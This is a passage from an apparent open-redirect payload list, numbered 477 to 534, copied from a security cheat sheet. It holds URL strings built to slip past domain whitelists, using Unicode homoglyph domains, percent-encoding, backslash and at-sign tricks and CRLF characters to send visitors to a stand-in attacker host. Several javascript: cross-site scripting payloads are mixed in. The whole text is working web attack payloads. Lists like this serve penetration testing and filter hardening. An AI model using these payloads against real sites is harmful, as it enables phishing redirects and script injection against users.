http://www.whitelisteddomain.tld%2eⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/
477
/https:/%5cⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/
478
https:/%5cⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/
479
/http://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
480
/%2f%2fⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
481
//%2f%2fⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
482
/Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/%2f%2e%2e
483
/http:/Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
484
http:/Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
485
/.Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
486
http://.Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
487
.Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
488
///\;@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
489
///\﹔@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
490
///Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
491
/////Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/
492
/////Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
493
http://www.Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ\.www.whitelisteddomain.tld
494
%01https://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
495
www.whitelisteddomain.tld;@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
496
www.whitelisteddomain.tld﹔@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
497
https://www.whitelisteddomain.tld;@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
498
https://www.whitelisteddomain.tld﹔@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
499
http:%0a%0dⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
500
https://%0a%0dⓁ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
501
Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/www.whitelisteddomain.tld
502
https://Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/www.whitelisteddomain.tld
503
//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ/www.whitelisteddomain.tld
504
javascript:alert(document.domain)//://
505
/#//localdomain.pw
506
#//localdomain.pw
507
/#//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
508
#//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
509
https%3A/localdomain.pw
510
https%3A/Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ%2f%2f.www.whitelisteddomain.tld/
511
https%3A/:@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ\@www.whitelisteddomain.tld
512
https%3A/;@localdomain.pw
513
https%3A/﹔@localdomain.pw
514
https%3A/www.Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ\.www.whitelisteddomain.tld
515
javascript:%250Aalert(1)
516
javascript:alert(1)//https://www.whitelisteddomain.tld
517
°/localdomain.pw
518
°/Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
519
////localdomain。pw
520
////Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
521
//localdomain.pw?
522
//Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ?
523
//[email protected]@localdomain.pw
524
//[email protected]@Ⓛ𝐨𝗰𝐀𝕝ⅆ𝓸ⓜₐℹⓃ。Pⓦ
525
javascript:new%20Function`al\ert\`1\``;
526
%09Jav%09ascript:alert(1)
527
https://localdomain。pw\ᵗwww.whitelisteddomain.tld
528
//localdomain。pw\ᵗwww.whitelisteddomain.tld
529
https://www.whitelisteddomain.tld。₨/
530
//www.whitelisteddomain.tld。₨/
531
https://localdomain.pw\[email protected]/
532
//localdomain.pw\[email protected]/
533
https://localdomain.pw�@www.whitelisteddomain.tld/
534
//localdomain.pw�@www.whitelisteddomain.tld/
Copied!